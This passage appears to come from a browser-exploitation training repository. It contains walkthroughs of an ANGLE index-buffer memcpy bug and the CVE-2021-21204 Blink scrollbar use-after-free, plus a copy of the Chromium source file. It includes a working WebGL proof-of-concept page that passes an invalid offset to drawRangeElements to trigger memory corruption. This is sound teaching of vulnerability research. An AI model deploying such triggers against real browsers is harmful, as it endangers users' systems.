TranslatedIndexData *translated)\n    {\n        unsigned int offset;\n        ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType,  [3] indices as third parameter\n                                    usePrimitiveRestartFixedIndex, &offset));\n\n        return angle::Result::Continue;\n    }\n    =================================================================================\n    angle::Result StreamInIndexBuffer(const gl::Context *context,\n                                  IndexBufferInterface *buffer,\n                                  const void *data,  <---------------\n                                  unsigned int count,\n                                  gl::DrawElementsType srcType,\n                                  gl::DrawElementsType dstType,\n                                  bool usePrimitiveRestartFixedIndex,\n                                  unsigned int *offset)\n    {\n        ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex);  [4] indices as third parameter\n\n        ANGLE_TRY(buffer->unmapBuffer(context));\n        return angle::Result::Continue;\n    }\n    ========================================================================================\n    void ConvertIndices(gl::DrawElementsType sourceType,\n                    gl::DrawElementsType destinationType,\n                    const void *input,     <------------------\n                    GLsizei count,\n                    void *output,\n                    bool usePrimitiveRestartFixedIndex)\n    {\n        if (sourceType == destinationType)\n        {\n            const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType);\n            memcpy(output, input, count * dstTypeSize);    [5] call memcpy and we can control input as any value\n            return;\n        }\n        // other type of sourceType, but they all have assignment operation\n        [ .... ]\n    }\n  ```\n  This time I encourage you to try construct Poc, you just need call `gl.drawRangeElements(mode, start, end, count, type, offset);` and fill the last parameter named `offset` with a invalid value like `0xdeadbeef`. But there is a lot of pre-work before this, you need to search some info to reach. And test it on the angle your build ago.\n  \n\n</details>\n\n--------\n\n"
  },
  {
    "path": "LEVEL_1/exercise_3/poc.html",
    "content": "<html>\n<head>\n<script id=\"vshader\" type=\"x-shader/x-vertex\">\nvoid main()\n{\n}\n</script>\n<script id=\"fshader\" type=\"x-shader/x-fragment\">\nvoid main()\n{\n    gl_FragData[0] = vec4(1, 2, 3, 4);\n}\n</script>\n<script type=\"text/javascript\">\nfunction trigger() {\n    var canvas = document.getElementById('canvas');\n\n    var gl = canvas.getContext('webgl2');\n    var vShader = gl.createShader(gl.VERTEX_SHADER);\n    var vShaderScript = document.getElementById('vshader');\n\n    gl.shaderSource(vShader, vShaderScript.text);\n    gl.compileShader(vShader);\n\n    var fShader = gl.createShader(gl.FRAGMENT_SHADER);\n    var fShaderScript = document.getElementById('fshader');\n    gl.shaderSource(fShader, fShaderScript.text);\n    gl.compileShader(fShader);\n\n    var program = gl.createProgram();\n    gl.attachShader(program, vShader);\n    gl.attachShader(program, fShader);\n    gl.linkProgram(program);\n\n    gl.useProgram(program);\n\n    var buffer = gl.createBuffer();\n    gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, buffer);\n    gl.vertexAttrib4f(0, 0, 0, 0, 0);\n    gl.drawElements(gl.TRIANGLES, 0, gl.UNSIGNED_SHORT, gl.UNSIGNED_BYTE);\n\n    var vao = gl.createVertexArray();\n    gl.bindVertexArray(vao);\n    //gl.drawRangeElements(gl.LINE_STRIP, 0, 0, 0x100, gl.UNSIGNED_BYTE, 0x41424344);\n    gl.drawRangeElements(gl.LINE_STRIP, 0, 0, 0x12345, gl.UNSIGNED_SHORT, 0x41424344);\n}\n\nfunction start() {\n    trigger();\n}\n\n</script>\n</head>\n<body onload=\"start();\">\n<canvas id=\"canvas\"></canvas>\n</body>\n</html>"
  },
  {
    "path": "LEVEL_1/exercise_4/README.md",
    "content": "# Exercise 4\n\n## CVE-2021-21204\nI sugget you don't search any report about it to prevents get too much info like patch.\n\nThis time we do it by code audit\n\n### Details\n\n> What is happening is that the BlinkScrollbarPartAnimation instance\n  passed to BlinkScrollbarPartAnimationTimer is released while\n  the BlinkScrollbarPartAnimationTimer::TimerFired method runs as\n  part of BlinkScrollbarPartAnimation::setCurrentProgress call,\n  during the execution of ScrollbarPainter::setKnobAlpha which ends\n  up calling BlinkScrollbarPainterDelegate::setUpAlphaAnimation\n  through a chain of observers.\n  BlinkScrollbarPainterDelegate::setUpAlphaAnimation releases the\n  BlinkScrollbarPartAnimation instance which gets deallocated.\n  BlinkScrollbarPartAnimation::setCurrentProgress continues execution\n  after ScrollbarPainter::setKnobAlpha returns, but the _scrollbarPointer\n  is overwritten with garbage and when SetNeedsPaintInvalidation\n  is called the crash happens.\n\nYou'd better read [these](https://www.chromium.org/blink) to have a preliminary understanding of Blink and make sure you know a little about `Objective-C`\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1189926\n\n</details>\n\n--------\n\n### Set environment\n\nBecause the hash we get from issue page is related to chromium, we need download the chromium source code and blink is one part of it. I upload the main file and you can try to fetch chromium.\nThe hash [`6c3c857b90ef63822c8e598bdb7aea604ba1688c`](https://github.com/chromium/chromium/tree/6c3c857b90ef63822c8e598bdb7aea604ba1688c/third_party/blink)\n\n### Related code\nwe can analysis the source file [online](https://source.chromium.org/chromium/chromium/src/+/6c3c857b90ef63822c8e598bdb7aea604ba1688c:third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.mm#414) or offline.\n\n```objective-c\nclass BlinkScrollbarPartAnimationTimer {\n public:\n  BlinkScrollbarPartAnimationTimer(\n      BlinkScrollbarPartAnimation* animation,\n      CFTimeInterval duration,\n      scoped_refptr<base::SingleThreadTaskRunner> task_runner)\n      : timer_(std::move(task_runner),\n               this,\n               &BlinkScrollbarPartAnimationTimer::TimerFired),\n        start_time_(0.0),\n        duration_(duration),\n        animation_(animation),\n        timing_function_(CubicBezierTimingFunction::Preset(\n            CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {}\n private:\n  void TimerFired(TimerBase*) {\n    double current_time = base::Time::Now().ToDoubleT();\n    double delta = current_time - start_time_;\n\n    if (delta >= duration_)\n      timer_.Stop();\n    // This is a speculative fix for crbug.com/1183276.\n    if (!animation_)\n      return;\n\n    double fraction = delta / duration_;\n    fraction = clampTo(fraction, 0.0, 1.0);\n    double progress = timing_function_->Evaluate(fraction);\n    [animation_ setCurrentProgress:progress];\n  }\n\n  TaskRunnerTimer<BlinkScrollbarPartAnimationTimer> timer_;\n  double start_time_;                       // In seconds.\n  double duration_;                         // In seconds.\n  BlinkScrollbarPartAnimation* animation_;  // Weak, owns this.\n  scoped_refptr<CubicBezierTimingFunction> timing_function_;\n};\n```\n\n```objective-c\n- (void)setCurrentProgress:(NSAnimationProgress)progress {\n  DCHECK(_scrollbar);\n  CGFloat currentValue;\n  if (_startValue > _endValue)\n    currentValue = 1 - progress;\n  else\n    currentValue = progress;\n  blink::ScrollbarPart invalidParts = blink::kNoPart;\n  switch (_featureToAnimate) {\n    case ThumbAlpha:\n      [_scrollbarPainter setKnobAlpha:currentValue];  // call ScrollbarPainter::setKnobAlpha\n      break;\n    case TrackAlpha:\n      [_scrollbarPainter setTrackAlpha:currentValue];\n      invalidParts = static_cast<blink::ScrollbarPart>(~blink::kThumbPart);\n      break;\n    case UIStateTransition:\n      [_scrollbarPainter setUiStateTransitionProgress:currentValue];\n      invalidParts = blink::kAllParts;\n      break;\n    case ExpansionTransition:\n      [_scrollbarPainter setExpansionTransitionProgress:currentValue];\n      invalidParts = blink::kThumbPart;\n      break;\n  }\n  _scrollbar->SetNeedsPaintInvalidation(invalidParts);\n}\n============================================================================\n- (void)scrollerImp:(id)scrollerImp\n    animateKnobAlphaTo:(CGFloat)newKnobAlpha\n              duration:(NSTimeInterval)duration {\n  if (!_scrollbar)\n    return;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n  ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;\n  [self setUpAlphaAnimation:_knobAlphaAnimation    // call BlinkScrollbarPainterDelegate::setUpAlphaAnimation\n            scrollerPainter:scrollerPainter\n                       part:blink::kThumbPart\n             animateAlphaTo:newKnobAlpha\n                   duration:duration];\n}\n============================================================================\n- (void)setUpAlphaAnimation:\n            (base::scoped_nsobject<BlinkScrollbarPartAnimation>&)\n                scrollbarPartAnimation\n            scrollerPainter:(ScrollbarPainter)scrollerPainter\n                       part:(blink::ScrollbarPart)part\n             animateAlphaTo:(CGFloat)newAlpha\n                   duration:(NSTimeInterval)duration {\n  blink::MacScrollbarAnimator* scrollbar_animator =\n      _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();\n  DCHECK(scrollbar_animator);\n  // If the user has scrolled the page, then the scrollbars must be animated\n  // here.\n  // This overrides the early returns.\n  bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad();\n  if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate)\n    return;\n  if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() &&\n      !mustAnimate) {\n    scrollbar_animator->StartScrollbarPaintTimer();\n    return;\n  }\n  // At this point, we are definitely going to animate now, so stop the timer.\n  scrollbar_animator->StopScrollbarPaintTimer();\n  // If we are currently animating, stop\n  if (scrollbarPartAnimation) {\n    [scrollbarPartAnimation invalidate];\n    scrollbarPartAnimation.reset();\n  }\n  scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]\n      initWithScrollbar:_scrollbar\n       featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha\n            animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]\n                                                  : [scrollerPainter trackAlpha]\n              animateTo:newAlpha\n               duration:duration\n             taskRunner:_taskRunner]);\n  [scrollbarPartAnimation startAnimation];\n}\n```\n\n\n\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  We can start from `TimerFired` func\n  ```objective-c\n  class BlinkScrollbarPartAnimationTimer [ ... ]\n  void TimerFired(TimerBase*) {\n    double current_time = base::Time::Now().ToDoubleT();\n    double delta = current_time - start_time_;\n\n    if (delta >= duration_)\n      timer_.Stop();\n    // This is a speculative fix for crbug.com/1183276.\n    if (!animation_)\n      return;\n\n    double fraction = delta / duration_;\n    fraction = clampTo(fraction, 0.0, 1.0);\n    double progress = timing_function_->Evaluate(fraction);\n    [animation_ setCurrentProgress:progress];  [1] call setCurrentProgress. Notice `animation_`\n  }\n\n  private:\n    BlinkScrollbarPartAnimation* animation_;  [2] weak, own this\n  ```\n  [2] `BlinkScrollbarPartAnimationTimer` own the instance of `BlinkScrollbarPartAnimation` which assignmented by constructor. This make a chance to trigger uaf.\n\n  ```objective-c\n  - (void)setCurrentProgress:(NSAnimationProgress)progress {\n    DCHECK(_scrollbar);\n    CGFloat currentValue;\n    blink::ScrollbarPart invalidParts = blink::kNoPart;\n    switch (_featureToAnimate) {\n      case ThumbAlpha:\n        [_scrollbarPainter setKnobAlpha:currentValue];  [3] call ScrollbarPainter::setKnobAlpha\n        break;\n      case TrackAlpha:\n        [_scrollbarPainter setTrackAlpha:currentValue];\n        invalidParts = static_cast<blink::ScrollbarPart>(~blink::kThumbPart);\n        break;\n    }\n    _scrollbar->SetNeedsPaintInvalidation(invalidParts);\n  }\n  ```\n  `setCurrentProgress` can call `setKnobAlpha`\n  ```objective-c\n  - (void)scrollerImp:(id)scrollerImp\n      animateKnobAlphaTo:(CGFloat)newKnobAlpha\n                duration:(NSTimeInterval)duration {\n    if (!_scrollbar)\n      return;\n\n    DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n    ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;\n    [self setUpAlphaAnimation:_knobAlphaAnimation    [4] call BlinkScrollbarPainterDelegate::setUpAlphaAnimation\n              scrollerPainter:scrollerPainter\n                        part:blink::kThumbPart\n              animateAlphaTo:newKnobAlpha\n                    duration:duration];\n  }\n  ```\n  ```objective-c\n  - (void)setUpAlphaAnimation:\n              (base::scoped_nsobject<BlinkScrollbarPartAnimation>&)\n                  scrollbarPartAnimation\n              scrollerPainter:(ScrollbarPainter)scrollerPainter\n                        part:(blink::ScrollbarPart)part\n              animateAlphaTo:(CGFloat)newAlpha\n                    duration:(NSTimeInterval)duration {\n    blink::MacScrollbarAnimator* scrollbar_animator =\n        _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();\n    DCHECK(scrollbar_animator);\n\n    // If we are currently animating, stop\n    if (scrollbarPartAnimation) {                                       [5]\n      [scrollbarPartAnimation invalidate];\n      scrollbarPartAnimation.reset();\n    }\n    scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]   [6]\n        initWithScrollbar:_scrollbar\n        featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha\n              animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]\n                                                    : [scrollerPainter trackAlpha]\n                animateTo:newAlpha\n                duration:duration\n              taskRunner:_taskRunner]);\n    [scrollbarPartAnimation startAnimation];\n  }\n  ```\n  The `(base::scoped_nsobject<BlinkScrollbarPartAnimation>&) scrollbarPartAnimation` can be release by `reset()`\n\n  - About `scoped_nsobject`:\n    >`scoped_nsobject<>` is patterned after std::unique_ptr<>, but maintains\n    ownership of an NSObject subclass object.  Style deviations here are solely\n    for compatibility with std::unique_ptr<>'s interface, with which everyone is\n    already familiar.\n\n    >scoped_nsobject<> takes ownership of an object (in the constructor or in\n    reset()) by taking over the caller's existing ownership claim.  The caller\n    must own the object it gives to scoped_nsobject<>, and relinquishes an\n    ownership claim to that object.  **scoped_nsobject<> does not call -retain,\n    callers have to call this manually if appropriate.**\n  - About `void base::scoped_nsprotocol< NST >::reset( NST object = nil )`:\n    ```objective-c                            {\n      // We intentionally do not check that object != object_ as the caller must\n      // either already have an ownership claim over whatever it passes to this\n      // method, or call it with the |RETAIN| policy which will have ensured that\n      // the object is retained once more when reaching this point.\n      [object_ release];\n      object_ = object;\n      }\n    ```\n\n\n</details>\n\n--------\n\n"
  },
  {
    "path": "LEVEL_1/exercise_4/mac_scrollbar_animator_impl.mm",
    "content": "// Copyright 2021 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.h\"\n\n#import <AppKit/AppKit.h>\n\n#include \"base/mac/scoped_nsobject.h\"\n#include \"third_party/blink/public/platform/platform.h\"\n#include \"third_party/blink/renderer/core/scroll/ns_scroller_imp_details.h\"\n#include \"third_party/blink/renderer/core/scroll/scroll_animator.h\"\n#include \"third_party/blink/renderer/core/scroll/scrollbar_theme_mac.h\"\n#include \"third_party/blink/renderer/platform/animation/timing_function.h\"\n#include \"third_party/blink/renderer/platform/mac/block_exceptions.h\"\n#include \"third_party/blink/renderer/platform/scheduler/public/thread_scheduler.h\"\n\nnamespace {\nbool SupportsUIStateTransitionProgress() {\n  // FIXME: This is temporary until all platforms that support ScrollbarPainter\n  // support this part of the API.\n  static bool global_supports_ui_state_transition_progress =\n      [NSClassFromString(@\"NSScrollerImp\")\n          instancesRespondToSelector:@selector(mouseEnteredScroller)];\n  return global_supports_ui_state_transition_progress;\n}\n\nbool SupportsExpansionTransitionProgress() {\n  static bool global_supports_expansion_transition_progress =\n      [NSClassFromString(@\"NSScrollerImp\")\n          instancesRespondToSelector:@selector(expansionTransitionProgress)];\n  return global_supports_expansion_transition_progress;\n}\n\nbool SupportsContentAreaScrolledInDirection() {\n  static bool global_supports_content_area_scrolled_in_direction =\n      [NSClassFromString(@\"NSScrollerImpPair\")\n          instancesRespondToSelector:@selector\n          (contentAreaScrolledInDirection:)];\n  return global_supports_content_area_scrolled_in_direction;\n}\n\nblink::ScrollbarThemeMac* MacOverlayScrollbarTheme(\n    blink::ScrollbarTheme& scrollbar_theme) {\n  return !scrollbar_theme.IsMockTheme()\n             ? static_cast<blink::ScrollbarThemeMac*>(&scrollbar_theme)\n             : nil;\n}\n\nScrollbarPainter ScrollbarPainterForScrollbar(blink::Scrollbar& scrollbar) {\n  if (blink::ScrollbarThemeMac* scrollbar_theme =\n          MacOverlayScrollbarTheme(scrollbar.GetTheme()))\n    return scrollbar_theme->PainterForScrollbar(scrollbar);\n\n  return nil;\n}\n\n}  // namespace\n\n// This class is a delegator of ScrollbarPainterController to ScrollableArea\n// that has the scrollbars of a ScrollbarPainter.\n@interface BlinkScrollbarPainterControllerDelegate : NSObject {\n  blink::ScrollableArea* _scrollableArea;\n}\n- (id)initWithScrollableArea:(blink::ScrollableArea*)scrollableArea;\n@end\n\n@implementation BlinkScrollbarPainterControllerDelegate\n\n- (id)initWithScrollableArea:(blink::ScrollableArea*)scrollableArea {\n  self = [super init];\n  if (!self)\n    return nil;\n\n  _scrollableArea = scrollableArea;\n  return self;\n}\n\n- (void)invalidate {\n  _scrollableArea = 0;\n}\n\n- (NSRect)contentAreaRectForScrollerImpPair:(id)scrollerImpPair {\n  if (!_scrollableArea)\n    return NSZeroRect;\n\n  blink::IntSize contentsSize = _scrollableArea->ContentsSize();\n  return NSMakeRect(0, 0, contentsSize.Width(), contentsSize.Height());\n}\n\n- (BOOL)inLiveResizeForScrollerImpPair:(id)scrollerImpPair {\n  return NO;\n}\n\n- (NSPoint)mouseLocationInContentAreaForScrollerImpPair:(id)scrollerImpPair {\n  if (!_scrollableArea)\n    return NSZeroPoint;\n\n  return _scrollableArea->LastKnownMousePosition();\n}\n\n- (NSPoint)scrollerImpPair:(id)scrollerImpPair\n       convertContentPoint:(NSPoint)pointInContentArea\n             toScrollerImp:(id)scrollerImp {\n  if (!_scrollableArea || !scrollerImp)\n    return NSZeroPoint;\n\n  blink::Scrollbar* scrollbar = nil;\n  if ([scrollerImp isHorizontal])\n    scrollbar = _scrollableArea->HorizontalScrollbar();\n  else\n    scrollbar = _scrollableArea->VerticalScrollbar();\n\n  // It is possible to have a null scrollbar here since it is possible for this\n  // delegate method to be called between the moment when a scrollbar has been\n  // set to 0 and the moment when its destructor has been called.\n  if (!scrollbar)\n    return NSZeroPoint;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*scrollbar));\n\n  return scrollbar->ConvertFromContainingEmbeddedContentView(\n      blink::IntPoint(pointInContentArea));\n}\n\n- (void)scrollerImpPair:(id)scrollerImpPair\n    setContentAreaNeedsDisplayInRect:(NSRect)rect {\n  if (!_scrollableArea)\n    return;\n\n  if (!_scrollableArea->ScrollbarsCanBeActive())\n    return;\n\n  _scrollableArea->ContentAreaWillPaint();\n}\n\n- (void)scrollerImpPair:(id)scrollerImpPair\n    updateScrollerStyleForNewRecommendedScrollerStyle:\n        (NSScrollerStyle)newRecommendedScrollerStyle {\n  // Chrome has a single process mode which is used for testing on Mac. In that\n  // mode, WebKit runs on a thread in the\n  // browser process. This notification is called by the OS on the main thread\n  // in the browser process, and not on the\n  // the WebKit thread. Better to not update the style than crash.\n  // http://crbug.com/126514\n  if (!IsMainThread())\n    return;\n\n  if (!_scrollableArea)\n    return;\n\n  [scrollerImpPair setScrollerStyle:newRecommendedScrollerStyle];\n\n  _scrollableArea->GetMacScrollbarAnimator()->UpdateScrollerStyle();\n}\n\n@end\n\nenum FeatureToAnimate {\n  ThumbAlpha,\n  TrackAlpha,\n  UIStateTransition,\n  ExpansionTransition\n};\n\n@class BlinkScrollbarPartAnimation;\nnamespace blink {\n// This class is used to drive the animation timer for\n// BlinkScrollbarPartAnimation\n// objects. This is used instead of NSAnimation because CoreAnimation\n// establishes connections to the WindowServer, which should not be done in a\n// sandboxed renderer process.\nclass BlinkScrollbarPartAnimationTimer {\n public:\n  BlinkScrollbarPartAnimationTimer(\n      BlinkScrollbarPartAnimation* animation,\n      CFTimeInterval duration,\n      scoped_refptr<base::SingleThreadTaskRunner> task_runner)\n      : timer_(std::move(task_runner),\n               this,\n               &BlinkScrollbarPartAnimationTimer::TimerFired),\n        start_time_(0.0),\n        duration_(duration),\n        animation_(animation),\n        timing_function_(CubicBezierTimingFunction::Preset(\n            CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {}\n\n  ~BlinkScrollbarPartAnimationTimer() {}\n\n  void Start() {\n    start_time_ = base::Time::Now().ToDoubleT();\n    // Set the framerate of the animation. NSAnimation uses a default\n    // framerate of 60 Hz, so use that here.\n    timer_.StartRepeating(base::TimeDelta::FromSecondsD(1.0 / 60.0), FROM_HERE);\n  }\n\n  void Stop() { timer_.Stop(); }\n\n  void SetDuration(CFTimeInterval duration) { duration_ = duration; }\n\n  // This is a speculative fix for crbug.com/1183276.\n  // In BlinkScrollbarPainterDelegate::setUpAlphaAnimation we are\n  // deallocating BlinkScrollbarPartAnimation and create a new one.\n  // The problem seems to be with BlinkScrollbarPartAnimation, passing a\n  // pointer to itself to BlinkScrollbarPartAnimationTimer.\n  // BlinkScrollbarPartAnimationTimer uses a TaskRunnerTimer to schedule\n  // the animation to run 60 times second.\n  // When we deallocate BlinkScrollbarPartAnimation,\n  // BlinkScrollbarPartAnimationTimer fires again, I believe because it\n  // uses PostTaskDelayed to schedule the next animation.\n  // Ideally the timer won't fire again.\n  void CancelAnimation() { animation_ = nullptr; }\n\n private:\n  void TimerFired(TimerBase*) {\n    double current_time = base::Time::Now().ToDoubleT();\n    double delta = current_time - start_time_;\n\n    if (delta >= duration_)\n      timer_.Stop();\n    // This is a speculative fix for crbug.com/1183276.\n    if (!animation_)\n      return;\n\n    double fraction = delta / duration_;\n    fraction = clampTo(fraction, 0.0, 1.0);\n    double progress = timing_function_->Evaluate(fraction);\n    [animation_ setCurrentProgress:progress];\n  }\n\n  TaskRunnerTimer<BlinkScrollbarPartAnimationTimer> timer_;\n  double start_time_;                       // In seconds.\n  double duration_;                         // In seconds.\n  BlinkScrollbarPartAnimation* animation_;  // Weak, owns this.\n  scoped_refptr<CubicBezierTimingFunction> timing_function_;\n};\n\n}  // namespace blink\n\n// This class handles the animation of a |_featureToAnimate| part of\n// |_scrollbar|.\n@interface BlinkScrollbarPartAnimation : NSObject {\n  blink::Scrollbar* _scrollbar;\n  std::unique_ptr<blink::BlinkScrollbarPartAnimationTimer> _timer;\n  base::scoped_nsobject<ScrollbarPainter> _scrollbarPainter;\n  FeatureToAnimate _featureToAnimate;\n  CGFloat _startValue;\n  CGFloat _endValue;\n}\n- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar\n       featureToAnimate:(FeatureToAnimate)featureToAnimate\n            animateFrom:(CGFloat)startValue\n              animateTo:(CGFloat)endValue\n               duration:(NSTimeInterval)duration\n             taskRunner:(scoped_refptr<base::SingleThreadTaskRunner>)taskRunner;\n@end\n\n@implementation BlinkScrollbarPartAnimation\n\n- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar\n       featureToAnimate:(FeatureToAnimate)featureToAnimate\n            animateFrom:(CGFloat)startValue\n              animateTo:(CGFloat)endValue\n               duration:(NSTimeInterval)duration\n             taskRunner:\n                 (scoped_refptr<base::SingleThreadTaskRunner>)taskRunner {\n  self = [super init];\n  if (!self)\n    return nil;\n\n  _timer = std::make_unique<blink::BlinkScrollbarPartAnimationTimer>(\n      self, duration, std::move(taskRunner));\n  _scrollbar = scrollbar;\n  _featureToAnimate = featureToAnimate;\n  _startValue = startValue;\n  _endValue = endValue;\n\n  return self;\n}\n\n- (void)startAnimation {\n  DCHECK(_scrollbar);\n  _scrollbarPainter.reset(ScrollbarPainterForScrollbar(*_scrollbar),\n                          base::scoped_policy::RETAIN);\n  _timer->Start();\n}\n\n- (void)stopAnimation {\n  _timer->Stop();\n}\n\n- (void)setDuration:(CFTimeInterval)duration {\n  _timer->SetDuration(duration);\n}\n\n- (void)setStartValue:(CGFloat)startValue {\n  _startValue = startValue;\n}\n\n- (void)setEndValue:(CGFloat)endValue {\n  _endValue = endValue;\n}\n\n- (void)setCurrentProgress:(NSAnimationProgress)progress {\n  DCHECK(_scrollbar);\n  CGFloat currentValue;\n  if (_startValue > _endValue)\n    currentValue = 1 - progress;\n  else\n    currentValue = progress;\n\n  blink::ScrollbarPart invalidParts = blink::kNoPart;\n  switch (_featureToAnimate) {\n    case ThumbAlpha:\n      [_scrollbarPainter setKnobAlpha:currentValue];\n      break;\n    case TrackAlpha:\n      [_scrollbarPainter setTrackAlpha:currentValue];\n      invalidParts = static_cast<blink::ScrollbarPart>(~blink::kThumbPart);\n      break;\n    case UIStateTransition:\n      [_scrollbarPainter setUiStateTransitionProgress:currentValue];\n      invalidParts = blink::kAllParts;\n      break;\n    case ExpansionTransition:\n      [_scrollbarPainter setExpansionTransitionProgress:currentValue];\n      invalidParts = blink::kThumbPart;\n      break;\n  }\n\n  _scrollbar->SetNeedsPaintInvalidation(invalidParts);\n}\n\n- (void)invalidate {\n  BEGIN_BLOCK_OBJC_EXCEPTIONS;\n  [self stopAnimation];\n  END_BLOCK_OBJC_EXCEPTIONS;\n  _scrollbar = nullptr;\n  _timer->CancelAnimation();\n}\n@end\n\n// This class is a delegator of ScrollbarPainter to the 4 types of animation\n// it can run. The animations are run through BlinkScrollbarPartAnimation.\n@interface BlinkScrollbarPainterDelegate : NSObject <NSAnimationDelegate> {\n  blink::Scrollbar* _scrollbar;\n  scoped_refptr<base::SingleThreadTaskRunner> _taskRunner;\n\n  base::scoped_nsobject<BlinkScrollbarPartAnimation> _knobAlphaAnimation;\n  base::scoped_nsobject<BlinkScrollbarPartAnimation> _trackAlphaAnimation;\n  base::scoped_nsobject<BlinkScrollbarPartAnimation>\n      _uiStateTransitionAnimation;\n  base::scoped_nsobject<BlinkScrollbarPartAnimation>\n      _expansionTransitionAnimation;\n  BOOL _hasExpandedSinceInvisible;\n}\n- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar\n             taskRunner:(scoped_refptr<base::SingleThreadTaskRunner>)taskRunner;\n- (void)updateVisibilityImmediately:(bool)show;\n- (void)cancelAnimations;\n@end\n\n@implementation BlinkScrollbarPainterDelegate\n\n- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar\n             taskRunner:\n                 (scoped_refptr<base::SingleThreadTaskRunner>)taskRunner {\n  self = [super init];\n  if (!self)\n    return nil;\n\n  _scrollbar = scrollbar;\n  _taskRunner = taskRunner;\n  return self;\n}\n\n- (void)updateVisibilityImmediately:(bool)show {\n  [self cancelAnimations];\n  [ScrollbarPainterForScrollbar(*_scrollbar) setKnobAlpha:(show ? 1.0 : 0.0)];\n}\n\n- (void)cancelAnimations {\n  BEGIN_BLOCK_OBJC_EXCEPTIONS;\n  [_knobAlphaAnimation stopAnimation];\n  [_trackAlphaAnimation stopAnimation];\n  [_uiStateTransitionAnimation stopAnimation];\n  [_expansionTransitionAnimation stopAnimation];\n  END_BLOCK_OBJC_EXCEPTIONS;\n}\n\n- (blink::ScrollAnimator&)scrollAnimator {\n  return static_cast<blink::ScrollAnimator&>(\n      _scrollbar->GetScrollableArea()->GetScrollAnimator());\n}\n\n- (NSRect)convertRectToBacking:(NSRect)aRect {\n  return aRect;\n}\n\n- (NSRect)convertRectFromBacking:(NSRect)aRect {\n  return aRect;\n}\n\n- (NSPoint)mouseLocationInScrollerForScrollerImp:(id)scrollerImp {\n  if (!_scrollbar)\n    return NSZeroPoint;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n  return _scrollbar->ConvertFromContainingEmbeddedContentView(\n      _scrollbar->GetScrollableArea()->LastKnownMousePosition());\n}\n\n- (void)setUpAlphaAnimation:\n            (base::scoped_nsobject<BlinkScrollbarPartAnimation>&)\n                scrollbarPartAnimation\n            scrollerPainter:(ScrollbarPainter)scrollerPainter\n                       part:(blink::ScrollbarPart)part\n             animateAlphaTo:(CGFloat)newAlpha\n                   duration:(NSTimeInterval)duration {\n  blink::MacScrollbarAnimator* scrollbar_animator =\n      _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();\n  DCHECK(scrollbar_animator);\n\n  // If the user has scrolled the page, then the scrollbars must be animated\n  // here.\n  // This overrides the early returns.\n  bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad();\n\n  if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate)\n    return;\n\n  if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() &&\n      !mustAnimate) {\n    scrollbar_animator->StartScrollbarPaintTimer();\n    return;\n  }\n\n  // At this point, we are definitely going to animate now, so stop the timer.\n  scrollbar_animator->StopScrollbarPaintTimer();\n\n  // If we are currently animating, stop\n  if (scrollbarPartAnimation) {\n    [scrollbarPartAnimation invalidate];\n    scrollbarPartAnimation.reset();\n  }\n\n  scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]\n      initWithScrollbar:_scrollbar\n       featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha\n            animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]\n                                                  : [scrollerPainter trackAlpha]\n              animateTo:newAlpha\n               duration:duration\n             taskRunner:_taskRunner]);\n  [scrollbarPartAnimation startAnimation];\n}\n\n- (void)scrollerImp:(id)scrollerImp\n    animateKnobAlphaTo:(CGFloat)newKnobAlpha\n              duration:(NSTimeInterval)duration {\n  if (!_scrollbar)\n    return;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n  ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;\n  [self setUpAlphaAnimation:_knobAlphaAnimation\n            scrollerPainter:scrollerPainter\n                       part:blink::kThumbPart\n             animateAlphaTo:newKnobAlpha\n                   duration:duration];\n}\n\n- (void)scrollerImp:(id)scrollerImp\n    animateTrackAlphaTo:(CGFloat)newTrackAlpha\n               duration:(NSTimeInterval)duration {\n  if (!_scrollbar)\n    return;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n  ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;\n  [self setUpAlphaAnimation:_trackAlphaAnimation\n            